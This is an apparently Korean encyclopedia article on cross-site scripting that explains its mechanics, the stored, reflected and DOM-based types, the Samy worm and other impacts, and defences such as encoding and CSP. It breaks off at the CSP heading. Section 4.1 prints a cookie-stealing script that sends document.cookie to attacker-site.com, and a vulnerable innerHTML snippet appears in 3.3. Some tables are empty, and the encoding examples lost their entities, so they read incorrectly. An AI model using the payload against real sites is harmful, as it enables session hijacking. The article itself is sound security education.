XSS
1. 개요
1. 개요
XSS(Cross-Site Scripting)는 웹 애플리케이션에서 발생하는 대표적인 보안 취약점 중 하나이다. 공격자가 악의적인 스크립트 코드를 웹 페이지에 삽입하여, 다른 사용자의 브라우저에서 해당 코드가 실행되도록 하는 공격 기법이다. 이 공격은 주로 사용자 입력을 제대로 검증하거나 처리하지 않는 웹사이트를 대상으로 한다.
XSS 공격의 핵심은 신뢰할 수 있는 웹사이트의 콘텐츠에 악성 스크립트가 포함되도록 만드는 것이다. 피해 사용자는 정상적인 사이트에 접속했다고 믿지만, 실제로는 공격자가 준비한 스크립트가 자신의 브라우저에서 실행되어 세션 쿠키 탈취, 개인 정보 유출, 사이트 내용 변조 등의 피해를 입을 수 있다. 공격의 영향 범위는 해당 취약점이 존재하는 웹 페이지를 방문하는 모든 사용자에게 미칠 수 있다.
이 취약점은 OWASP가 발표하는 주요 웹 애플리케이션 보안 위협 목록에서 꾸준히 상위권을 차지해 왔다. XSS는 공격 유형에 따라 저장형, 반사형, DOM 기반 XSS 등으로 분류되며, 각 유형별로 공격 벡터와 방어 전략이 다르다.
구분 | 설명 |
|---|---|
주요 특징 | 클라이언트 측(사용자 브라우저)에서 스크립트 실행 |
공격 목표 | 다른 사용자의 세션 및 개인 정보, 웹사이트 무결성 |
공격 위치 | 주로 사용자 입력을 처리하는 웹 페이지(댓글, 검색창, 프로필 등) |
방어 핵심 | 입력값 검증, 출력값 인코딩, 적절한 보안 정책 적용 |
2. XSS의 원리와 작동 방식
2. XSS의 원리와 작동 방식
웹 애플리케이션은 사용자로부터 입력을 받아 처리하고, 그 결과를 다시 사용자에게 보여주는 구조를 가진다. XSS는 이 과정에서 발생하는 보안 취약점을 악용한다. 핵심 원리는 신뢰할 수 없는 데이터(주로 사용자 입력)가 충분한 검증이나 필터링 없이 웹 브라우저에서 실행 가능한 코드(예: 자바스크립트)로 해석되도록 만드는 것이다. 이는 애플리케이션이 사용자 입력을 악성 코드와 신뢰할 수 있는 콘텐츠로부터 명확히 구분하지 못하기 때문에 발생한다.
공격 과정은 일반적으로 두 단계로 이루어진다. 첫째, 공격자는 웹 애플리케이션에 악성 스크립트를 주입할 수 있는 경로를 찾는다. 이는 게시판의 댓글 필드, 검색창, URL 매개변수, 프로필 정보 입력란 등 사용자 입력이 서버로 전송되고 다시 다른 사용자에게 표시되는 모든 곳이 될 수 있다. 둘째, 주입된 스크립트가 피해자의 브라우저에서 실행된다. 이 스크립트는 피해자의 권한으로 동작하기 때문에, 피해자의 세션 쿠키를 탈취하거나, 계정 설정을 변경하거나, 악의적인 사이트로 리다이렉트하는 등의 행위를 수행할 수 있다.
단계 | 설명 | 예시 |
|---|---|---|
1. 취약점 탐색 | 사용자 입력이 검증 없이 응답 페이지에 포함되는지 확인한다. |
|
2. 악성 페이로드 주입 | 탐색된 취약점을 통해 실제 공격 코드를 입력한다. | 세션 쿠키를 공격자 서버로 전송하는 스크립트를 게시글에 삽입한다. |
3. 피해자 유도/실행 | 저장형의 경우 자동 실행되며, 반사형의 경우 피해자가 악성 링크를 클릭하도록 유도한다. | 피해자에게 이메일이나 메신저로 조작된 URL을 보낸다. |
4. 악성 스크립트 실행 | 피해자의 브라우저가 악성 스크립트를 신뢰할 수 있는 페이지의 일부로 해석하여 실행한다. | 피해자의 브라우저가 주입된 코드를 실행해 쿠키를 외부로 전송한다. |
이 공격이 성공하기 위해서는 궁극적으로 피해자의 웹 브라우저가 악성 스크립트를 신뢰할 수 있는 출처의 코드로 인식하고 실행해야 한다. 따라서 방어 전략은 이 신뢰의 경계를 명확히 하고, 사용자 제공 데이터가 코드로 실행되지 않도록 만드는 데 초점을 맞춘다.
2.1. 웹 애플리케이션의 취약점
2.1. 웹 애플리케이션의 취약점
웹 애플리케이션이 XSS에 취약해지는 근본적인 원인은 사용자 입력을 신뢰하고, 이를 적절히 검증하거나 처리하지 않은 상태로 웹 페이지에 포함시키기 때문이다. 대부분의 현대 웹 애플리케이션은 사용자로부터 데이터를 입력받아 동적으로 콘텐츠를 생성한다. 이 과정에서 애플리케이션이 입력 데이터에 포함될 수 있는 HTML, 자바스크립트와 같은 코드를 일반 텍스트와 구분하지 못하면 취약점이 발생한다.
주요 취약점 발생 지점은 다음과 같다.
취약점 유형 | 설명 | 예시 |
|---|---|---|
검증 부재 | 사용자 입력에 대한 검증(Validation)이 전혀 이루어지지 않거나 불충분한 경우 | 검색창, 댓글 필드, 프로필 정보 입력란 등 |
필터링 우회 | 특정 문자열만 제거하는 방식의 필터링이 우회 가능한 경우 |
|
출력 인코딩 생략 | 사용자 입력을 웹 페이지에 출력할 때, 해당 컨텍스트(HTML, 속성, 자바스크립트)에 맞는 인코딩을 적용하지 않는 경우 | 입력값을 그대로 |
이러한 취약점은 서버 측(백엔드)과 클라이언트 측(프론트엔드) 모두에서 발생할 수 있다. 서버 측 애플리케이션이 안전하지 않은 입력을 받아 데이터베이스에 저장하거나, 즉시 응답 페이지에 포함시켜 반환하면 문제가 된다. 클라이언트 측 자바스크립트가 URL의 해시(#)나 쿼리 매개변수와 같은 사용자 제어 데이터를 가져와서 DOM을 직접 조작할 때도 동일한 원리로 취약점이 노출된다.
결국, 웹 애플리케이션의 핵심 취약점은 "데이터"와 "코드"의 경계를 명확히 구분하지 못하는 데 있다. 애플리케이션이 사용자 제공 데이터를 실행 가능한 코드로 해석하도록 허용할 때, 공격자는 이를 악용하여 브라우저에서 임의의 스크립트를 실행시킬 수 있게 된다.
2.2. 악성 스크립트 주입 과정
2.2. 악성 스크립트 주입 과정
공격자는 먼저 웹 애플리케이션에서 사용자 입력을 제대로 검증하거나 처리하지 않는 취약점을 찾아냅니다. 일반적으로 검색창, 댓글 입력란, 회원가입 폼 등 사용자 데이터를 받아 서버에 저장하거나 즉시 응답 페이지에 포함시키는 곳이 표적이 됩니다.
주입 과정은 다음과 같은 단계로 이루어집니다.
1. 악성 페이로드 생성: 공격자는 웹 페이지의 문맥(HTML, 속성, JavaScript 코드 내부 등)에 맞춰 실행될 수 있는 자바스크립트 코드를 작성합니다. 예를 들어, <script>alert('XSS')</script>와 같은 간단한 코드부터, 쿠키를 탈취하거나 사용자 동작을 모방하는 복잡한 스크립트까지 다양합니다.
2. 취약점 경로를 통한 주입: 공격자는 생성한 악성 스크립트를 취약한 입력 경로에 넣습니다. 저장형 공격의 경우 게시판 글이나 프로필 정보처럼 서버 데이터베이스에 저장되도록 하고, 반사형 공격의 경우 피해자에게 전달될 링크의 매개변수에 스크립트를 포함시킵니다.
3. 악성 코드의 실행: 저장형은 다른 사용자가 해당 게시글을 볼 때, 반사형은 피해자가 악성 링크를 클릭했을 때 서버가 응답에 스크립트를 포함시켜 브라우저로 전송합니다. 브라우저는 이를 신뢰할 수 있는 페이지의 일부로 받아들이고 스크립트를 실행합니다. DOM 기반 XSS의 경우 서버 응답이 아닌 클라이언트 측에서 DOM을 조작하는 과정에서 스크립트가 실행됩니다.
단계 | 저장형 XSS | 반사형 XSS | DOM 기반 XSS |
|---|---|---|---|
주입 경로 | 데이터베이스에 저장되는 입력란 (댓글, 게시글 등) | URL 매개변수, 검색어 등 즉시 반사되는 입력 | URL의 해시 조각, 클라이언트 측 스크립트 처리 로직 |
저장 위치 | 서버 측 데이터베이스 | URL 자체 | 클라이언트 측 문서 객체 모델(DOM) |
실행 트리거 | 저장된 데이터를 불러오는 페이지 조회 | 악성 URL을 피해자가 직접 방문 | 페이지 내 클라이언트 스크립트가 취약한 방식으로 DOM을 업데이트할 때 |
이 과정을 통해 공격자의 스크립트는 피해자의 브라우저 내에서 원본 웹사이트와 동일한 권한을 갖고 실행되며, 이로 인해 세션 하이재킹이나 정보 유출 등의 피해가 발생합니다.
3. XSS의 주요 유형
3. XSS의 주요 유형
XSS는 공격 방식에 따라 크게 세 가지 주요 유형으로 분류된다. 각 유형은 악성 스크립트가 삽입되고 실행되는 위치와 과정에서 차이를 보인다.
첫 번째 유형은 저장형 XSS이다. 이 공격에서는 악성 스크립트가 웹 애플리케이션의 서버 측 데이터베이스나 파일 시스템에 영구적으로 저장된다. 사용자가 게시판 글, 댓글, 프로필 정보 등에 스크립트를 입력하면, 서버는 이를 일반 데이터처럼 취급하여 저장한다. 이후 다른 사용자가 해당 콘텐츠를 조회할 때 서버에서 응답으로 스크립트를 포함한 페이지를 전송하면, 사용자의 브라우저에서 스크립트가 실행된다. 공격의 영향이 지속적이고 피해 규모가 클 수 있다는 특징을 가진다.
두 번째 유형은 반사형 XSS이다. 이 공격에서는 악성 스크립트가 서버에 저장되지 않고, 사용자의 요청에 즉시 반사되어 응답에 포함된다. 공격자는 피해자에게 이메일이나 메신저를 통해 악성 스크립트가 포함된 URL을 전송한다. 피해자가 링크를 클릭하면, 요청된 스크립트가 서버 응답에 담겨 돌아와 브라우저에서 실행된다. 공격은 주로 개별 사용자를 대상으로 하며, 서버에 지속적인 흔적을 남기지 않는다.
세 번째 유형은 DOM 기반 XSS이다. 이 공격은 서버 측이 아닌 클라이언트 측에서 발생한다. 악성 스크립트는 URL의 해시 프래그먼트나 사용자 입력을 통해 전달되며, 서버 응답 자체는 정상적이다. 문제는 클라이언트 측 자바스크립트 코드가 document.location, document.URL, document.referrer와 같은 DOM 객체의 속성을 안전하지 않게 처리할 때 발생한다. 이 코드가 사용자 입력을 동적으로 페이지에 쓰는 과정에서 스크립트가 실행된다. 공격 탐지가 상대적으로 어려운 편이다.
유형 | 스크립트 저장 위치 | 실행 트리거 | 주요 특징 |
|---|---|---|---|
저장형 XSS | 서버 데이터베이스/파일 | 저장된 페이지 조회 | 지속적, 광범위한 피해 가능 |
반사형 XSS | URL 요청 파라미터 | 악성 링크 클릭 | 비지속적, 개별 대상 공격 |
DOM 기반 XSS | 클라이언트 측 DOM | 클라이언트 측 JS 처리 | 서버 로그에 흔적이 남지 않을 수 있음 |
3.1. 저장형 XSS
3.1. 저장형 XSS
저장형 XSS(Stored XSS)는 지속형 XSS(Persistent XSS)라고도 불리며, 악성 스크립트가 웹 애플리케이션의 서버 측 저장소(예: 데이터베이스, 메시지 보드, 사용자 프로필, 댓글 필드)에 영구적으로 저장되는 공격 유형이다. 이는 반사형 XSS나 DOM 기반 XSS와 구분되는 가장 큰 특징이다. 공격자가 게시판, 댓글, 사용자명, 상품 후기와 같은 사용자 입력 필드에 악성 스크립트를 삽입하여 제출하면, 서버는 이를 검증 없이 저장한다. 이후 다른 사용자가 해당 악성 스크립트가 저장된 페이지(예: 게시글 조회 페이지)를 방문할 때 서버는 저장된 내용을 응답에 포함하여 전송하고, 사용자의 브라우저는 정상적인 페이지 내용의 일부로 인식하여 스크립트를 실행한다.
이 공격의 영향은 광범위하고 지속적이다. 악성 스크립트가 서버에 저장된 순간부터 해당 콘텐츠를 조회하는 모든 사용자는 공격 대상이 된다. 공격자는 사용자의 세션 쿠키를 탈취하여 세션 하이재킹을 수행하거나, 사용자를 피싱 사이트로 리다이렉트하며, 키 입력을 감시하거나 브라우저를 제어할 수 있다. 저장형 XSS는 한 번 주입되면 관리자가 직접 데이터베이스에서 악성 코드를 찾아 제거하지 않는 한 지속적으로 위협을 유지한다는 점에서 특히 위험하다.
주요 방어 기법으로는 입력값에 대한 엄격한 검증과 출력값에 대한 적절한 인코딩이 필수적이다. 모든 사용자 입력은 신뢰할 수 없는 데이터로 간주하고, 허용된 문자 집합과 길이를 검증해야 한다. 또한 데이터베이스에 저장된 데이터를 웹 페이지에 출력할 때는 해당 출력 컨텍스트(HTML 본문, 속성, JavaScript, CSS 등)에 맞는 인코딩(예: HTML Entity 인코딩)을 반드시 적용해야 한다. 콘텐츠 보안 정책(CSP)을 구현하는 것도 효과적인 완화 수단이 될 수 있다.
3.2. 반사형 XSS
3.2. 반사형 XSS
반사형 XSS는 XSS 공격의 주요 유형 중 하나로, 사용자가 요청한 데이터에 포함된 악성 스크립트가 서버에서 '반사'되어 즉시 사용자의 브라우저에서 실행되는 방식이다. 저장형 XSS와 달리 악성 스크립트가 서버에 영구적으로 저장되지 않는다는 특징이 있다. 공격자는 일반적으로 피해자에게 악성 URL을 클릭하도록 유도하는 방식으로 공격을 수행한다.
공격 과정은 다음과 같은 단계로 이루어진다. 먼저, 공격자는 검색창, 로그인 폼, 오류 메시지 페이지 등 사용자 입력을 즉시 응답에 포함시키는 웹 애플리케이션의 매개변수를 찾는다. 그런 다음, 해당 매개변수에 자바스크립트와 같은 악성 스크립트를 삽입한 URL을 생성한다. 이 URL을 피해자에게 이메일, 메신저, 또는 게시판에 숨겨진 링크 형태로 전달한다. 피해자가 이 링크를 클릭하면, 서버는 요청받은 악성 스크립트를 포함한 응답을 생성하여 사용자 브라우저로 보내고, 브라우저는 이를 정상적인 페이지의 일부로 간주하여 스크립트를 실행한다.
반사형 XSS의 영향은 일반적으로 저장형 XSS보다 제한적일 수 있으나, 여전히 심각한 위협이다. 주로 단일 피해자를 대상으로 하며, 공격 성공을 위해 피해자의 클릭이 필요하다. 그러나 피싱 기법과 결합되면 효과적으로 세션 쿠키를 탈취하거나, 사용자를 가짜 로그인 페이지로 리다이렉트하거나, 사용자의 화면에 가짜 콘텐츠를 표시하는 등의 피해를 입힐 수 있다.
이 공격을 방어하기 위한 핵심 원칙은 신뢰할 수 없는 모든 데이터를 출력하기 전에 적절하게 인코딩하는 것이다. 서버 측에서는 사용자 입력에 대한 검증과 함께, HTML, 자바스크립트, URL 컨텍스트에 맞는 출력 인코딩을 적용해야 한다. 또한, 콘텐츠 보안 정책을 설정하여 신뢰할 수 있는 출처의 스크립트만 실행되도록 제한하는 것이 효과적인 보완책이 될 수 있다.
3.3. DOM 기반 XSS
3.3. DOM 기반 XSS
DOM 기반 XSS는 클라이언트 측에서 발생하는 XSS 공격 유형이다. 서버 응답 자체에는 악성 코드가 포함되지 않지만, 웹 페이지의 자바스크립트가 DOM 객체를 부적절하게 처리할 때 공격이 실행된다. 공격자는 URL의 프래그먼트 식별자(# 이후 부분)나 쿼리 문자열 등을 통해 악성 데이터를 전달하며, 이 데이터는 서버로 전송되지 않고 브라우저 내 자바스크립트에 의해 직접 DOM을 조작하는 과정에서 스크립트로 실행된다.
이 공격의 핵심은 취약한 자바스크립트 소스 코드에 있다. 예를 들어, document.location.hash, document.URL, document.referrer와 같은 클라이언트 측 객체의 값을 가져와 innerHTML이나 eval() 함수 등에 안전하지 않은 방법으로 사용하면 공격에 노출된다. 아래는 간단한 취약 코드의 예시이다.
```javascript
// 취약한 코드: location.hash의 값을 안전하지 않게 DOM에 삽입
var userInput = document.location.hash.substring(1);
document.getElementById("message").innerHTML = "Welcome, " + userInput;
```
이 경우, 공격자가 https://example.com/page.html#<script>악성코드</script>와 같은 URL을 생성하여 피해자가 접속하도록 유도하면, 스크립트가 실행된다.
특징 | 설명 |
|---|---|
공격 지점 | 클라이언트 측 자바스크립트 |
데이터 흐름 | 서버를 거치지 않음 |
탐지 난이도 | 서버 로그에 흔적이 남지 않아 상대적으로 어려움 |
주요 원인 |
|
방어를 위해서는 클라이언트 측 스크립트에서 모든 사용자 입력(URL 파라미터, 해시, document.referrer 등)을 신뢰해서는 안 된다. innerHTML 대신 textContent나 innerText를 사용하거나, 필요한 경우 신뢰할 수 있는 인코딩 라이브러리를 활용하여 출력해야 한다. 또한 콘텐츠 보안 정책(CSP)을 적용하여 인라인 스크립트 실행을 제한하는 것도 효과적인 방어 수단이다.
4. XSS 공격의 영향과 피해 사례
4. XSS 공격의 영향과 피해 사례
XSS 공격이 성공하면 공격자는 피해자의 브라우저에서 임의의 자바스크립트 코드를 실행할 수 있게 되어 다양한 형태의 심각한 피해를 초래한다. 가장 일반적인 영향은 사용자의 세션 쿠키를 탈취하는 세션 하이재킹이다. 이를 통해 공격자는 피해자의 로그인 상태를 획득하여 해당 계정을 마치 자신의 것처럼 사용할 수 있다. 금융 사이트나 SNS, 웹메일 서비스에서 발생할 경우 피해자의 개인정보를 조회하거나, 피해자를 사칭하여 악성 게시물을 작성하거나, 불법 거래를 수행하는 등의 행위가 가능해진다.
두 번째 주요 영향은 민감한 정보의 유출이다. 공격자는 피해자가 보고 있는 페이지의 내용을 공격자가 제어하는 서버로 전송하거나, 키로거 스크립트를 삽입하여 입력하는 모든 키보드 입력값(비밀번호, 신용카드 번호 등)을 탈취할 수 있다. 또한, 브라우저에 저장된 로컬 스토리지 데이터나 클립보드 내용을 읽어내는 공격도 가능하다.
사이트의 외관과 기능을 변조하는 것도 XSS 공격의 일반적인 영향이다. 공격자는 페이지의 내용을 악성 콘텐츠로 바꾸거나, 가짜 로그인 폼을 덧붙여 사용자의 자격 증명을 속아내어 입력받을 수 있다. 이는 웹사이트에 대한 신뢰도를 떨어뜨리고, 사용자를 피싱 사이트로 리다이렉트하는 데 악용되기도 한다.
주요 피해 사례로는 2005년 마이스페이스를 대상으로 한 Samy 웜이 있다. 이는 저장형 XSS를 이용해 빠르게 확산되어 사상 최초의 대규모 웹 기반 웜으로 기록되었다[1]. 2009년에는 트위터에서 반사형 XSS 취약점이 악용되어, 사용자가 특정 링크를 클릭하면 자동으로 악성 트윗을 전파하는 사건이 발생했다. 이러한 사례들은 XSS가 단순한 개인 피해를 넘어서 전염성을 띠며 서비스 전체의 안전성을 위협할 수 있음을 보여준다.
4.1. 세션 하이재킹
4.1. 세션 하이재킹
세션 하이재킹은 XSS 공격을 통해 가장 빈번하게 발생하는 주요 피해 중 하나이다. 공격자는 악성 스크립트를 삽입하여 피해자의 브라우저에서 실행되도록 한 후, 해당 브라우저에 저장된 세션 쿠키를 탈취한다. 일반적으로 웹 애플리케이션은 사용자 인증 상태를 유지하기 위해 로그인 성공 시 브라우저에 세션 식별자가 담긴 쿠키를 발급한다. XSS 취약점을 통해 이 쿠키를 획득하면, 공격자는 피해자의 계정을 완전히 장악할 수 있다.
공격 과정은 다음과 같다. 먼저, 공격자는 게시판이나 프로필 정보 등 사용자 입력이 저장되고 다시 표시되는 곳에 악성 스크립트를 삽입한다. 예를 들어, <script>document.location='http://attacker-site.com/steal?cookie='+document.cookie</script>와 같은 코드를 게시글에 작성할 수 있다. 이 게시글을 열람하는 다른 사용자의 브라우저는 스크립트를 실행하며, 자신의 세션 쿠키를 공격자가 제어하는 서버로 전송하게 된다.
공격 단계 | 설명 |
|---|---|
1. 취약점 탐색 | 저장형 또는 반사형 XSS가 가능한 웹 페이지를 찾는다. |
2. 악성 페이로드 주입 | 세션 쿠키를 외부로 전송하는 자바스크립트 코드를 입력한다. |
3. 피해자 유인/실행 | 저장형의 경우 피해자가 악성 콘텐츠를 조회하도록 유인하고, 반사형의 경우 피싱 링크를 클릭하게 한다. |
4. 쿠키 탈취 | 피해자의 브라우저가 스크립트를 실행하며 쿠키를 공격자의 서버로 전송한다. |
5. 세션 장악 | 공격자는 탈취한 쿠키 값을 자신의 브라우저에 설정하여 피해자 계정으로 로그인한다. |
이러한 공격으로 인해 피해자는 자신의 계정에서 이루어진 모든 불법적인 활동에 대한 책임을 질 수 있으며, 개인정보 유출이나 금전적 손실로까지 이어질 수 있다. 특히 관리자 계정이 탈취될 경우, 전체 웹 사이트가 위험에 빠질 수 있다. 따라서 세션 하이재킹을 방지하기 위해서는 XSS 자체를 차단하는 것이 근본적인 해결책이다.
4.2. 정보 유출
4.2. 정보 유출
XSS 공격을 통해 공격자는 피해자의 브라우저에서 실행되는 악성 스크립트를 이용해 민감한 정보를 탈취할 수 있다. 이는 주로 세션 하이재킹과 함께 이루어지거나, 독립적으로 정보를 수집하는 형태로 나타난다. 공격에 성공하면, 사용자가 인지하지 못한 상태에서 개인정보, 인증 토큰, 쿠키 데이터 등이 공격자에게 전송된다.
정보 유출의 주요 경로는 다음과 같다. 첫째, 쿠키 탈취가 가장 일반적이다. 웹사이트의 인증 세션 정보가 쿠키에 저장되는 경우가 많기 때문에, 악성 스크립트는 document.cookie 객체에 접근하여 그 값을 공격자가 제어하는 서버로 전송한다. 둘째, 키로거 기능을 구현하여 사용자의 키보드 입력(예: 비밀번호, 신용카드 번호, 개인 메시지)을 실시간으로 가로챌 수 있다. 셋째, 피싱과 결합하여 가짜 입력 폼을 페이지에 동적으로 삽입하거나, 현재 페이지의 DOM 전체 내용을 읽어 중요한 데이터를 추출할 수도 있다.
유출 가능 정보 유형 | 설명 | 일반적 공격 수단 |
|---|---|---|
세션 쿠키/토큰 | 사용자의 로그인 상태를 유지하는 인증 정보 |
|
개인 식별 정보 | 이름, 주소, 전화번호, 이메일 등 | DOM 조작을 통한 페이지 내용 읽기 |
기밀 입력 데이터 | 비밀번호, 카드 번호, 일회용 인증번호 | 키보드 이벤트 후킹(키로깅) |
내부 네트워크 정보 | 내부 IP, 호스트명, 인트라넷 구조 정보 | JavaScript를 통한 내부 리소스 탐색 |
이러한 정보 유출은 직접적인 금전적 피해로 이어질 뿐만 아니라, 추가적인 공격의 발판이 되거나, 개인정보보호법 위반으로 인한 법적 책임을 초래할 수 있다. 따라서 사용자 입력값의 철저한 검증과 출력값의 적절한 인코딩은 정보 유출을 방지하는 기본적인 조치이다.
4.3. 사이트 변조
4.3. 사이트 변조
사이트 변조는 XSS 공격을 통해 웹 페이지의 내용이나 구조를 악의적으로 변경하는 행위이다. 공격자는 주입된 스크립트를 이용해 사용자가 보는 화면을 임의로 조작할 수 있다.
일반적인 변조 방식은 DOM을 동적으로 수정하여 가짜 로그인 폼을 삽입하거나, 기존 콘텐츠를 악성 링크나 허위 정보로 대체하는 것이다. 예를 들어, 정상적인 뉴스 기사 대신 정치적 선동 문구를 표시하거나, 은행 사이트의 계좌 이체 화면을 변조하여 자금을 가로채도록 유도할 수 있다. 이는 사용자의 신뢰를 악용하여 추가적인 피해를 유발하는 2차 공격으로 이어지기도 한다.
사이트 변조의 영향은 다음과 같이 구분된다.
변조 유형 | 주요 영향 |
|---|---|
콘텐츠 변조 | 허위 정보 게시, 악성 광고 삽입, 정치·사회적 선동 |
구조 변조 | 가짜 입력 폼 추가, 정상 링크를 악성 사이트로 변경 |
시각적 변조 | 디자인 훼손, 웹사이트 명성 실추 |
이러한 변조는 단순히 외관을 훼손하는 데 그치지 않는다. 사용자로 하여금 민감한 정보를 입력하게 하거나, 악성 코드가 포함된 파일을 다운로드하도록 유도할 수 있다. 또한, 사이트에 대한 신뢰도를 떨어뜨려 브랜드 이미지에 심각한 손상을 입힌다. 대규모로 발생할 경우 사회적 혼란을 야기할 수도 있다[2].
5. XSS 탐지 및 방어 기법
5. XSS 탐지 및 방어 기법
XSS 공격을 탐지하고 방어하기 위한 기법은 크게 입력값 검증, 출력값 처리, 그리고 브라우저 수준의 정책 적용으로 나눌 수 있다. 효과적인 방어는 이러한 기법들을 다층적으로 조합하여 적용하는 데 있다.
가장 기본적인 방어 수단은 사용자 입력값에 대한 엄격한 검증과 필터링이다. 서버 측에서는 모든 입력 데이터가 예상된 형식(예: 이메일 주소, 숫자, 특정 길이의 문자열)에 부합하는지 화이트리스트 기반으로 검증해야 한다. 허용되지 않는 문자나 패턴, 특히 <script>, javascript:, onerror=와 같은 스크립트 실행 가능한 문자열은 제거하거나 무력화한다. 또한, 정규 표현식을 이용한 필터링은 유용하지만, 우회 기술이 발전함에 따라 유일한 방어 수단으로 의존해서는 안 된다.
검증된 데이터를 웹 페이지에 출력할 때는 반드시 적절한 인코딩을 수행해야 한다. 이는 출력값 인코딩 또는 이스케이프 처리라고 불린다. 데이터가 출력되는 컨텍스트(HTML 본문, HTML 속성, JavaScript 내부, URL)에 따라 서로 다른 인코딩 규칙을 적용해야 한다. 예를 들어, HTML 본문에는 <를 <로, &를 &로 변환한다. 최신 웹 애플리케이션 프레임워크는 대부분 기본 템플릿 엔진에서 자동 이스케이프 기능을 제공하므로, 이를 활성화하고 사용하는 것이 중요하다.
브라우저 차원의 강력한 방어 메커니즘으로 콘텐츠 보안 정책(CSP)이 있다. CSP는 웹사이트 관리자가 브라우저에 대해 어떤 리소스(스크립트, 스타일시트, 이미지 등)를 어디에서 로드하고 실행할 수 있는지 제어하는 정책을 정의할 수 있게 한다. 신뢰할 수 있는 출처(도메인)만을 화이트리스트에 등록함으로써, 악성 스크립트가 삽입되더라도 브라우저가 실행을 차단할 수 있다. 효과적인 CSP 설정은 인라인 스크립트 실행을 금지하고, 외부 스크립트 출처를 엄격히 제한하는 것이다.
방어 기법 | 적용 위치 | 주요 목적 | 예시/설명 |
|---|---|---|---|
입력값 검증/필터링 | 서버 측 (및 클라이언트 측 보조) | 악성 입력 차단 | 화이트리스트 검증, 위험 키워드 필터링 |
출력값 인코딩 | 데이터를 출력하는 모든 지점 | 삽입된 스크립트를 비활성화 | HTML, URL, JavaScript 컨텍스트별 인코딩 |
콘텐츠 보안 정책(CSP) | HTTP 헤더 (서버 측 설정) | 스크립트 실행 출처 제한 |
|
이 외에도, 쿠키에 HttpOnly 플래그를 설정하여 클라이언트 측 자바스크립트에서 접근하지 못하게 하면, XSS로 인한 세션 하이재킹 위험을 줄일 수 있다. 정기적인 보안 취약점 점검과 정적 응용 프로그램 보안 테스트(SAST), 동적 응용 프로그램 보안 테스트(DAST) 도구를 활용한 자동화된 탐지도 방어 체계를 강화하는 데 필수적이다.
5.1. 입력값 검증 및 필터링
5.1. 입력값 검증 및 필터링
입력값 검증은 사용자가 제공하는 모든 데이터를 신뢰할 수 없는 것으로 간주하고, 애플리케이션 내부로 들어가기 전에 엄격한 규칙에 따라 검사하는 과정이다. 검증은 화이트리스트 방식을 우선적으로 적용하는 것이 효과적이다. 즉, 허용된 문자 집합, 데이터 형식(예: 이메일, 숫자), 길이 제한 등을 미리 정의하고, 그 패턴에 맞지 않는 모든 입력은 거부하거나 정화한다. 블랙리스트 방식(특정 위험 패턴만 차단)은 새로운 공격 벡터에 취약할 수 있어 보완적 수단으로 사용된다.
검증은 서버측에서 반드시 수행되어야 하며, 클라이언트측 검증은 사용자 경험 향상을 위한 보조 수단일 뿐 보안 목적으로 의존해서는 안 된다. 일반적인 검증 항목은 다음과 같다.
검증 항목 | 설명 | 예시 |
|---|---|---|
데이터 타입 | 입력값이 기대하는 타입인지 확인 | 숫자 필드에 문자열이 입력되지 않도록 함 |
길이 제한 | 입력값의 최소/최대 길이 제한 | 사용자 이름을 20자 이내로 제한 |
문자 집합 | 허용할 문자 집합 정의 | 이름 필드에 알파벳, 한글, 공백만 허용 |
형식 패턴 | 특정 형식(패턴) 준수 여부 확인 | 이메일 주소, 전화번호 형식 검증 |
필터링은 검증을 통과한 데이터에서도 잠재적으로 위험할 수 있는 요소를 제거하거나 무력화하는 작업이다. 주로 HTML, 자바스크립트, CSS 구문에서 공격에 악용될 수 있는 특수 문자(<, >, ", ', &, /) 및 키워드(script, onerror, javascript:) 등을 처리한다. 그러나 단순 문자열 치환은 우회가 쉽기 때문에, 정규 표현식을 이용한 정교한 패턴 매칭이나 전문적인 라이브러리(예: OWASP Java HTML Sanitizer)를 사용하는 것이 안전하다.
입력값 검증과 필터링은 XSS 방어의 첫 번째이자 핵심적인 방어선이지만, 이 단계만으로는 완전한 보장이 어렵다. 따라서 이 조치는 출력값 인코딩 및 콘텐츠 보안 정책과 같은 다층 방어 전략과 결합되어야 효과를 발휘한다[3].
5.2. 출력값 인코딩
5.2. 출력값 인코딩
출력값 인코딩은 XSS 공격을 방어하기 위한 핵심적인 보안 조치 중 하나이다. 이 기법은 웹 애플리케이션이 사용자로부터 입력받은 데이터를 웹 페이지에 다시 출력할 때, 해당 데이터가 HTML, 자바스크립트, URL 또는 CSS 문맥에서 실행 가능한 코드로 해석되지 않도록 특수 문자를 안전한 형태로 변환하는 과정을 의미한다. 입력값 검증이 악성 데이터의 입력을 차단하는 데 초점을 맞춘다면, 출력값 인코딩은 이미 시스템에 들어온 데이터가 악의적인 실행으로 이어지는 것을 최종적으로 방지하는 최후의 방어선 역할을 한다.
인코딩은 데이터가 사용되는 출력 컨텍스트에 따라 적절한 방식을 선택해야 한다. 가장 일반적인 것은 HTML 인코딩으로, <, >, &, ", '와 같은 문자를 각각 <, >, &, ", ' 등의 HTML 엔티티로 변환한다. 이를 통해 <script>와 같은 문자열이 마크업 태그로 해석되는 것을 막을 수 있다. 데이터가 자바스크립트 문자열 내부에 삽입될 경우에는 \(백슬래시)를 이용한 이스케이프 처리가 필요하며, URL 파라미터로 사용될 때는 퍼센트 인코딩을 적용해야 한다.
효과적인 출력값 인코딩을 구현하기 위해서는 몇 가지 원칙을 준수하는 것이 중요하다. 첫째, 인코딩은 가능한 한 출력 지점에서, 그리고 최종 사용자에게 보여지기 직전에 수행되어야 한다. 데이터를 저장하거나 중간 처리 과정에서 미리 인코딩해두면, 데이터가 여러 컨텍스트에서 재사용될 때 이중 인코딩이나 컨텍스트 불일치 문제가 발생할 수 있다. 둘째, 신뢰할 수 있는 템플릿 엔진이나 보안 라이브러리(예: OWASP의 ESAPI 또는 각 언어별 보안 인코딩 함수)를 사용하여 인코딩을 자동화하는 것이 바람직하다. 이는 개발자가 직접 인코딩 루틴을 구현하며 발생할 수 있는 실수를 줄여준다.
출력 컨텍스트 | 인코딩 대상 문자 예시 | 변환 예시 (인코딩 후) | 주목적 |
|---|---|---|---|
HTML 본문 |
|
| 태그 실행 방지 |
HTML 속성 값 |
|
| 속성 탈출 방지 |
자바스크립트 데이터 |
|
| 스크립트 문자열 내 삽입 방지 |
URL 쿼리 스트링 |
|
| URL 구조 조작 방지 |
이러한 인코딩 조치는 반사형 XSS와 저장형 XSS를 효과적으로 차단할 수 있다. 그러나 DOM 기반 XSS의 경우, 공격이 서버 측이 아닌 클라이언트 측 DOM 조작 과정에서 발생하기 때문에, 클라이언트 사이드 자바스크립트 코드 내에서도 동일한 원칙에 따라 안전한 출력 방법(예: textContent 속성 사용, innerHTML 지양)을 적용해야 완전한 방어가 가능하다[4].
5.3. 콘텐츠 보안 정책
